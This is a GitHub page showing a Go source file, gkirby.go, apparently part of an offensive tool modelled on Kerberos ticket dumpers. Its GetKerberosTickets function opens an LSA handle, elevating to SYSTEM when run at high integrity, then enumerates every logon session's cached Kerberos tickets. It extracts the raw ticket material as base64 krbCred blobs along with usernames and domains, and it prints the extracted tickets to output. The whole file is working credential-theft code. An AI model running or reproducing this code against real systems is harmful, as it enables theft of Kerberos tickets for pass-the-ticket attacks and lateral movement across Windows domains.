-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgkirby.go
83 lines (68 loc) · 2.17 KB
/
gkirby.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
//go:build windows
// +build windows
package gkirby
import (
"encoding/base64"
"fmt"
"github.com/ziggoon/gkirby/helpers"
"time"
"github.com/ziggoon/gkirby/lsa"
"github.com/ziggoon/gkirby/types"
)
/*
* public bois
*/
// return a map of kerberos tickets + base64 encoded ticket material
func GetKerberosTickets() []map[string]interface{} {
var ticketCache []map[string]interface{}
// retrieve LSA handle
// if process is high integrity, process token will be elevated to SYSTEM
lsaHandle, err := lsa.GetLsaHandle()
if err != nil {
return nil
}
// get kerberos auth package
kerberosString := types.NewLSAString("kerberos")
authPackage, err := lsa.GetAuthenticationPackage(lsaHandle, kerberosString)
if err != nil {
return nil
}
// list cached kerberos tickets in LSA
sessionCreds, err := lsa.EnumerateTickets(lsaHandle, authPackage)
if err != nil {
return nil
}
//fmt.Printf("sessionCreds received: %v\n", sessionCreds)
ticketCache = make([]map[string]interface{}, 0)
for _, cred := range sessionCreds {
//fmt.Printf("sessionCred: \n%+v\n", cred)
for _, ticket := range cred.Tickets {
fmt.Printf("current process is SYSTEM: %t\n", helpers.IsSystem())
// obtain raw ticket material
extractedTicket, err := lsa.ExtractTicket(lsaHandle, authPackage, cred.LogonSession.LogonID, ticket.ServerName)
fmt.Printf("extractedTicket: %+v\n", extractedTicket)
if err != nil {
continue
}
// create map (hash table) to store cached kerberos tickets
ticket := map[string]interface{}{
"username": cred.LogonSession.Username,
"domain": cred.LogonSession.LogonDomain,
"logonId": cred.LogonSession.LogonID.LowPart,
"serverName": ticket.ServerName,
"serverRealm": ticket.ServerRealm,
"startTime": ticket.StartTime.Format(time.RFC3339),
"endTime": ticket.EndTime.Format(time.RFC3339),
"renewTime": ticket.RenewTime.Format(time.RFC3339),
"flags": ticket.TicketFlags.String(),
"encType": ticket.EncryptionType,
"krbCred": base64.StdEncoding.EncodeToString(extractedTicket),
}
ticketCache = append(ticketCache, ticket)
}
}
if len(ticketCache) > 0 {
return ticketCache
}
return nil
}